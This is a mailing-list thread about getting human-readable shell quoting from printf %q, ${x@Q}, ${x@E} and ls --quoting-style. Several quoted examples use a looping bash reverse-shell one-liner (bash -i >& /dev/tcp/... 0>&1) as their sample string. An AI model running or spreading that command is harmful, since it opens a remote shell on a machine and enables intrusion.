Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

i had the idea, as your pasted long_names codes, self code one solution
check for existancy of magic chars and printf accordingly

On Sun, Mar 14, 2021 at 3:07 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
wrote:

> the ls solution btw has a cosmetic bug there, the ls itself i believe
> otherwise it'd be perfect - excepts you have to fs db =)
> the bug, it prints '' infront of say $'\n' entry
> ''$'\n'
>
> ls bug but as .. the quotes it displays optional, the less special data
> the less quotes
>
> On Sun, Mar 14, 2021 at 3:00 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
> wrote:
>
>> if your datas were filenames, you could have used ls
>> --quoting-style=shell-escape
>> it optionally only quotes em
>>
>> On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>>
>>> > It's just different quoting styles, but I prefer the single-quoted
>>> > version too.
>>>
>>> It is not as simple as that. See below.
>>>
>>> > GNU /usr/bin/printf does this
>>> >
>>> > $ /bin/printf "$x"
>>> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>> > sleep 5; done &
>>> >
>>> > And for ${parameter@operator}
>>> >
>>> > $ echo "${x@Q}"
>>> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>>> > bash;\nsleep 5; done &'
>>>
>>> ${x@Q} is not the most human-readable. For example, the extra quote is
>>> not necessary in the following case. `printf %q` is even better in
>>> this case. I think a most human-readable solution for all cases can
>>> not avoiding testing the content of the string.
>>>
>>> $ x=a; echo "${x@Q}"
>>> 'a'
>>> $ printf %q a
>>> a
>>>
>>> > $ echo "${x@E}"
>>> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' | bash;
>>> > sleep 5; done &
>>>
>>> ${x@Q} is not good either. It can not deal with non-print characters
>>> correctly.
>>>
>>> $ x=$'a\001'; echo "${x@E}"
>>> a
>>>
>>> >
>>> > (This confuses me since the manual stated that E produces $'' style
>>> > escaping and Q produces single quoted escaping when used for an
>>> array...)
>>>
>>> The above examples should clarify your confusion. My question is about
>>> ALL cases not just about some special cases.
>>>
>>> --
>>> Regards,
>>> Peng
>>>
>>>